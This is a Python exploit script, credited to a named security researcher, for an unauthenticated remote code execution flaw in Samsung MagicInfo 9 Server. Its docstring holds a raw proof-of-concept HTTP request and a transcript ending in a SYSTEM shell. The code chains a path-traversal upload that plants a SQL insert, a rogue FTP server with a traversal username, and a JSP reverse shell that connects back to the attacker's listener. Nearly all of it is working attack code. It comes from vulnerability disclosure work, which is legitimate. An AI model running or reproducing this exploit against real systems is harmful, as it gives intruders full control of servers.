#!/usr/bin/env python3
"""
Samsung MagicInfo 9 Server MagicInfoWebAuthorClient ResponseUploadActivity TOCTOU File Upload Remote Code Execution Vulnerability
Download: https://www.magicinfoservices.com/magicinfo-software?submissionGuid=4163dba5-9096-43b4-9ca0-27696e8b70b8
File: MagicInfo 9 Server 21.1080.0 Setup.zip
Release date: 5/8/2025
SHA1: 9744711fe76e7531f128835bf83c9ae001069115
Install guide: https://docs.samsungvx.com/docs/pages/viewpage.action?pageId=60034270
Found by: Steven Seeley of Source Incite
## Proof of Concept
The following request will trigger the write, then we can just wait for the daily cron...
```
POST /MagicInfo/WSRMService HTTP/1.1
Host: 192.168.18.136:7002
Content-Type: multipart/related; start=1
Content-Length: 1981
--1337
Content-Type: multipart/alternative
Content-ID: 1
http://samsung.com/sec/ws/2005/05/rm/Server/Download
1337
https://srcincite.io
https://srcincite.io
https://srcincite.io
CONTENT
validation/../PostgreSQL_checklist1.json
1337
1337
1337
1337
--1337
Content-Type: multipart/alternative; boundary="1337"
Content-ID: validation/../PostgreSQL_checklist1.json
{"items" : [{"title" : "pwn","check_query" : "insert into mi_cms_code_file values (1337, 'PDF', 'JSP', 'Y');","resolve_query" : [],"expect" : "1337","description" : "lol"}]}
```
The other option is to run the `poc.py`:
```
researcher@universe:~/0d$ ./poc.py 192.168.18.136 192.168.18.137
(+) performed the file drop. Let's sleep for 24hrs for the db injection and proceed...
(+) FTP server running on 192.168.18.137:2121
(+) starting handler on port 1337
(+) checking for a shell drop...
(+) WARNING, drops artefact to C:\MagicInfo Premium\tomcat\webapps\kpi\_\mz34dV9Z539oHmw5CP5XBpjWPRExwMep.jsp
(+) connection from 192.168.18.136
(+) pop thy shell!
Microsoft Windows [Version 10.0.17763.7558]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\MagicInfo Premium\tomcat\bin>whoami
whoami
nt authority\system
C:\MagicInfo Premium\tomcat\bin>
```
"""
import os
import sys
import urllib3
import logging
import socket
import time
import random
import string
import requests
from threading import Thread
from pyftpdlib.log import config_logging
from pyftpdlib.servers import FTPServer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.authorizers import DummyAuthorizer
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from telnetlib import Telnet
from colorama import Fore, Style
config_logging(level=logging.ERROR)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_random_string(length):
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def upload_db_injection_primitive(t):
related = MIMEMultipart('related', "1337")
related.replace_header('Content-Type', f'multipart/related; boundary="{related.get_boundary()}"; start=1')
submission = MIMEText('multipart', 'alternative')
submission.set_payload("""
http://samsung.com/sec/ws/2005/05/rm/Server/Download
1337
https://srcincite.io/
https://srcincite.io/
https://srcincite.io/
CONTENT
validation/../PostgreSQL_checklist.json
1337
1337
1337
1337
""")
submission.add_header('Content-ID', "1")
related.attach(submission)
document = MIMEText('multipart', 'alternative')
# We inject into mi_cms_code_file for us to trigger a directory traversal and gain RCE without having to restart.
SQL = "insert into mi_cms_code_file values (1337, 'PDF', 'JSP', 'Y');"
document.set_payload("""{"items" : [{"title" : "pwn","check_query" : "%s","resolve_query" : [],"expect" : "1337","description" : "lol"}]}""" % SQL)
document.add_header('Content-ID', "validation/../PostgreSQL_checklist.json") # hehehe, TOCTOU traversal
related.attach(document)
body = related.as_string().split('\n\n', 1)[1]
headers = dict(related.items())
r = requests.post(f"https://{t}:7002/MagicInfo/WSRMService", data=body, headers=headers, verify=False)
def get_jsp(ls, lp):
jsp = f"""<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{{
InputStream sv;
OutputStream tp;
StreamConnector( InputStream sv, OutputStream tp )
{{
this.sv = sv;
this.tp = tp;
}}
public void run()
{{
BufferedReader za = null;
BufferedWriter hjr = null;
try
{{
za = new BufferedReader( new InputStreamReader( this.sv ) );
hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) );
char buffer[] = new char[8192];
int length;
while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 )
{{
hjr.write( buffer, 0, length );
hjr.flush();
}}
}} catch( Exception e ){{}}
try
{{
if( za != null )
za.close();
if( hjr != null )
hjr.close();
}} catch( Exception e ){{}}
}}
}}
try
{{
String ShellPath = new String("cmd.exe");
Socket socket = new Socket("{ls}", {lp});
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
}} catch( Exception e ) {{}}
%>"""
return jsp
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print(f"(+) {Fore.RED + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
t.interact()
def run_ftp(h, ftp_passwd):
authorizer = DummyAuthorizer()
authorizer.add_user("/../../../../tomcat/webapps/kpi/", ftp_passwd, "./", perm='elradfmw')
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer((h, 2121), handler)
print(f"(+) FTP server running on {h}:2121")
server.serve_forever()
def perform_ftp_write(t, h, ftp_passwd):
uri = f"https://{t}:7002/MagicInfo/servlet/FtpFileDownloadServlet"
p = {
# we could of also used the ftpDirectory here
"ftpLoginId": "/../../../../tomcat/webapps/kpi/",
"ftpPassword": ftp_passwd,
"ftpIp": h,
"ftpPort": "2121"
}
requests.post(uri, params=p, verify=False)
def main():
if len(sys.argv) != 3:
print("(+) usage: %s " % sys.argv[0])
print("(+) eg: %s 192.168.18.136 192.168.18.137" % sys.argv[0])
sys.exit(1)
t = sys.argv[1]
h = sys.argv[2]
p = 1337
if ":" in sys.argv[2]:
p = int(sys.argv[2].split(":")[1])
h = sys.argv[2].split(":")[0]
upload_db_injection_primitive(sys.argv[1])
print("(+) performed the file drop. Let's sleep for 24hrs for the db injection and proceed...")
time.sleep(24 * 60 * 60)
ftp_passwd = generate_random_string(32)
handlerthr1 = Thread(target=run_ftp, args=[h, ftp_passwd])
handlerthr1.daemon = True
handlerthr1.start()
s = generate_random_string(32) + ".jsp"
with open(s, "w+") as bd:
bd.write(get_jsp(h, p))
perform_ftp_write(t, h, ftp_passwd)
handlerthr2 = Thread(target=handler, args=[p])
handlerthr2.start()
print("(+) checking for a shell drop...")
time.sleep(1.337)
os.remove(s)
print(f"{Fore.YELLOW + Style.BRIGHT}(+) WARNING, drops artefact to C:\\MagicInfo Premium\\tomcat\\webapps\\kpi\\_\\{s}{Style.RESET_ALL}")
requests.get(f"https://{t}:7002/kpi/_/{s}", verify=False)
if __name__ == "__main__":
main()